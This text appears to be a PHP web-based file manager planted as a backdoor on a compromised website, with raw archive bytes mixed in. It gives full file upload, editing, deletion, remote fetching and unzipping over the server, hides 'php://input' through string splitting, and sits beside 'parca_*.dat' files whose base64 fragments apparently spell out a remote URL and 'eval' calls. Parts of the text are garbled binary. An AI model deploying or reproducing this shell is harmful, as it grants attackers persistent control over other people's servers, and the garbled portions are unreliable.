$range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'insertion
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PK$g[f oy5mbk.tar.gznu[KI+(`03 `hj`hjh`llTh7365V0࠴$h%=!4'ZA%VI:3MC15RC%>5(5(Z#$$ ?8D)VSNVA)((>'?v2sJSR52 Kr 2!.*JvQ0 F(p5~PK$g[$nd%% 4ermtb.tarnu[parca_690c1a204c5ca.dat.dat.tar.gz000064400000000247151033141160012242 0ustar00M0`? +.@Jmqh !zz, |7  `Wn an H0˄=C>^ERBK*!VeL2Zrk!cKV =*mE3P k_7_$I yxparca_690c1a204c63c.dat.tar000064400000004000151033141160010766 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_690c1a204c63c.dat000064400000000016151032665110023114 0ustar00Vjb2RlKHJhd3Vyparca_68feeb500759b.dat.dat.tar.gz000064400000000250151033141160012262 0ustar00M0` \%-T@m\4e޴YXD?B7c74d\ tU٢ $CC1TRIQMVkL6@fT$+!) 9*eF==P4˵E7QE^P:parca_690bc475b25cc.dat.dat.tar.gz000064400000000246151033141160012256 0ustar00M 0` h($IJDto:RJɷ| -f'G LNa nar3##-9b23uBKJ皻*&JlT$3ʸJy˙'+}Colӆ+pom^QE^]8Wparca_690c1a204c5ca.dat.tar000064400000004000151033141160011043 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_690c1a204c5ca.dat000064400000000016151032527450023175 0ustar00RlbnRzLyoqKioqoy5mbk.tar000064400000004000151033141160006447 0ustar00index.php000064400000000155151033141050006356 0ustar00parca_690bc475b260c.dat.dat.tar.gz000064400000000245151033141160012173 0ustar00M ` (b@K()Q_ҵv|7sM Dg7˄⮜ ޡ&҂Y=(bBҼkX7O O"*hҎ2 }۾\[h8$Mzܣ7EQUϒrparca_68feeb500769b.dat.tar000064400000004000151033141160011072 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_68feeb500769b.dat000064400000000012151032723660023221 0ustar00kpOy8qKi8=nugyh8.tar.gz000064400000000466151033141160007116 0ustar00MO@9+ƕc.bM ۦ^HC BAޥQ?O\v2ͻ;ê¬xs,bXЈO0 "lj7}lU# t[Dc6iSc f So N#FyibHyФm j)2)OnϞJjsބ"_$Do9T oÌ׈ƽr^M9 &.BNN٦%1fY<ߟd,9p}9(kb&W1A3:o{zzzzyGz index.php.tar000064400000004000151033141160007136 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/index.php000064400000000147151030403320020053 0ustar00parca_690c1a204c61f.dat.tar000064400000004000151033141160010767 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_690c1a204c61f.dat000064400000000016151033101450023106 0ustar00ZGUocmF3dXJsZGparca_690bc475b25cc.dat.tar000064400000004000151033141160011060 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_690bc475b25cc.dat000064400000000016151033101360023177 0ustar00NvbnRlbnQuY29tparca_68feeb50075db.dat.tar000064400000004000151033141160011144 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_68feeb50075db.dat000064400000000016151032752320023272 0ustar00R0cHM6Ly9yYXcuparca_68feeb500759b.dat.tar000064400000004000151033141160011071 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_68feeb500759b.dat000064400000000016151032635010023213 0ustar00Vjb2RlKHJhd3Vyparca_690c1a204c67f.dat.dat.tar.gz000064400000000250151033141160012166 0ustar00A0P3Pk ܸ)P45K.?f&ǖM1; ˼6&}֏y)56\YZP8=dEG@@! D8Vٷ&CWP狨rߔ7QE^ޤ&parca_68feeb50074c5.dat.dat.tar.gz000064400000000251151033141160012257 0ustar00M0`?%0lH e׷qҠ~˗{3IA8of_5}7dQik1&PhuJ^v~h8yq`l7 "#rZ<洤D^ٷ 'C9_[;kj̯I$I#parca_68feeb500763f.dat.tar000064400000004000151033141160011070 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_68feeb500763f.dat000064400000000016151032603670023221 0ustar00L2hpbG5ldC9tZXparca_690c1a204c61f.dat.dat.tar.gz000064400000000250151033141160012160 0ustar00M 0` h2&z ōĘ4?#^,"jx fVQ#n$ޛYuZCC?zؓcɍ[rUW@+bE@p?@dPe (*eąƎ}۾\C]^ֿ&I$9e parca_690c1a204c516.dat.tar000064400000004000151033141160010706 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_690c1a204c516.dat000064400000000016151032665220023036 0ustar00w7IC8qKioqKioqparca_690c1a204c6f3.dat.tar000064400000004000151033141160010771 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_690c1a204c6f3.dat000064400000000016151032752260023122 0ustar00Rva2wvbWFpbi9mparca_690c1a204c591.dat.dat.tar.gz000064400000000247151033141160012110 0ustar00A P (wpu7)AR1=}I.o3511DgW!qUޑjΕ)z8=.+(7-(*kJK,@p~Цc@)Ge߶(4y s4o,˲:parca_68feeb50074c5.dat.tar000064400000004000151033141160011065 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_68feeb50074c5.dat000064400000000016151032527350023216 0ustar00Ki9AZXZhbC8qKioy5mbk.tar.gz000064400000000306151033141160007073 0ustar00KI+(`03 `hj`hjh`llhbh` 7365S0࠴$h%=!4'ZA%VI:3MC15RC%>5(5(Z#$$ ?8D)VSNVA)((>'?v2sJSR52 Kr 2!.*JvQ0 F(pFzparca_690bc475b2658.dat.dat.tar.gz000064400000000244151033141160012124 0ustar00M0` N#6Ph!qҠ~˗{3٠vPؕavƹrZ|\7 P:e__Ҽ֢89??- 1LXӤ2,}۾\[h Wٶ'Yeٙ޳parca_68feeb500763f.dat.dat.tar.gz000064400000000250151033141160012261 0ustar00;0P $u49@`>ʂ-Xcv~h5,-08=񛁱_gReBCv WzitΝFRZ),,S PUȹh۶&Cw>xs^/|$I(o [HXparca_690c1a204c6f3.dat.dat.tar.gz000064400000000246151033141160012167 0ustar00A P`D/tӥJ(/ec-&!A 4*gu?wNƹ54nfXe/:ʵx6Ci'29^ٷ 9On5*_SEQ :-parca_68feeb500769b.dat.dat.tar.gz000064400000000245151033141160012267 0ustar00M0`\xXZ45K.-_&f 5+e@~SEU֖₸3(}i]hZFUuP|7 56 r(%'Wm 2#oy5ןdYeGz2parca_690bc475b260c.dat.tar000064400000004000151033141160010776 0ustar00home/gettoplisting/public_html/.well-known/4ermtb/wp-log/parca_690bc475b260c.dat000064400000000016151032752730023131 0ustar00Rva2wvbWFpbi9mparca_690c1a204c63c.dat.dat.tar.gz000064400000000250151033141160012157 0ustar00A0P4Fw.ؒR@m\4o30:90;6 iDVl1yindex.php.php.tar.gz000064400000000355151033141160010354 0ustar00Ak0p?JKm]/cŋRm4aI4m~*Aw 'e0e39b991692259764469b25bfe10b47', 'user' => 'e0e39b991692259764469b25bfe10b47' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'insertion'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; 